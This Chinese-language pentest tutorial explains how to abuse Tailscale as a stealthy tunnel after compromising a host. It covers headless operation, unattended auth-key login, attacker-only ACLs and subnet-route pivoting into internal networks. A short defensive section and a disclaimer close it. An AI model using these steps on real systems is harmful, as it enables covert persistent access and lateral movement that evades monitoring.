Tailscale在内网渗透中的利用研究

一、Tailscale简介

Tailscale是一种基于WireGuard的多地组网软件，能够将多地主机聚合在一个虚拟局域网中，实现设备间的相互访问。所有节点采用P2P连接，具有以下特点：

• 杀软检测规避：作为正常组网工具，不易被查杀
• 流量隐蔽性：传输流量不易被安全设备识别
• 跨平台支持：支持Windows、Linux等多种操作系统

二、基础使用

1. 账户注册

1. 访问官网 https://tailscale.com/
2. 点击"Use Tailscale for free"进行注册
3. 支持多种登录方式（Google、GitHub、Microsoft等）

2. 程序安装

Windows安装：

1. 下载Windows版本安装包
2. 默认安装路径：C:\Program Files\Tailscale
3. 主程序：tailscale-ipn.exe

Linux安装：

curl -fsSL https://tailscale.com/install.sh | sh

3. 设备接入

Windows设备接入：

1. 运行tailscale-ipn.exe
2. 点击"Log in"通过浏览器登录
3. 登录成功后自动分配虚拟局域网IP

Linux设备接入：

tailscale up

访问生成的链接完成登录

三、内网渗透测试利用

1. 需要解决的问题

1. 隐蔽性问题：图形界面暴露风险
2. 登录问题：浏览器交互式登录不便
3. 权限控制：双向访问风险
4. 目标主机网段访问限制

2. 隐蔽性解决方案

命令行模式运行：

1. 使用tailscaled.exe作为服务

   tailscaled.exe
   

2. 使用tailscale.exe命令行工具

   tailscale up
   

特点：

• 无图形界面显示
• 完全通过命令行操作

3. 登录问题解决方案

使用Auth Key：

1. 在管理面板生成Auth Key
   • Settings → Generate auth key
2. 配置Auth Key属性：
   • Reusable：是否可重复使用
   • Expiration：过期时间
   • Ephemeral：临时设备标记
   • Tags：ACL策略标识

命令行登录：

sudo tailscale up --authkey [authkey]

4. 权限控制解决方案

ACL策略配置：

1. 访问管理面板的"Access controls"标签
2. 默认策略：允许所有访问
3. 自定义策略示例：

   {
     "acls": [
       {"action": "accept", "src": ["100.127.21.76"], "dst": ["100.91.46.163:*"]}
     ]
   }
   

   表示只允许Kali(100.127.21.76)访问Windows(100.91.46.163)

5. 主机网段访问解决方案

子网路由配置：

Windows配置：

tailscale up --advertise-routes=10.0.0.0/24,10.0.1.0/24

Linux额外配置：

# 启用IP转发
echo 'net.ipv4.ip_forward = 1' | sudo tee -a /etc/sysctl.d/99-tailscale.conf
echo 'net.ipv6.conf.all.forwarding = 1' | sudo tee -a /etc/sysctl.d/99-tailscale.conf
sudo sysctl -p /etc/sysctl.d/99-tailscale.conf

# 广告路由
sudo tailscale up --advertise-routes=10.0.0.0/24,10.0.1.0/24

管理面板操作：

1. 在设备列表中找到目标主机
2. 点击"Edit route settings"
3. 勾选需要开放的网段

四、攻击过程模拟

1. 文件上传

1. 获取目标shell后上传必要文件：
   • tailscale.exe
   • tailscaled.exe
   • wintun.dll

2. 建立隧道

1. 生成Auth Key并设置适当属性
2. 目标主机执行：

   tailscaled.exe
   tailscale.exe up --authkey [authkey] --unattended
   

3. 访问控制配置

1. 在管理面板配置ACL策略
2. 限制目标主机只能被特定IP访问

4. 内网渗透

1. 识别目标内网其他网段
2. 配置子网路由扩大访问范围
3. 进行进一步渗透测试

五、防御建议

1. 监控异常网络连接
2. 限制未授权设备接入内网
3. 定期审计网络配置
4. 加强对合法管理工具的监控

六、参考资源

1. Tailscale官方文档：https://tailscale.com/kb/
2. GitHub issues：https://github.com/tailscale/tailscale/issues/6610
3. 相关研究：Breaking the Barriers of Segmentation (pentera.io)

注意：本文仅用于安全研究目的，禁止用于未经授权的渗透测试行为。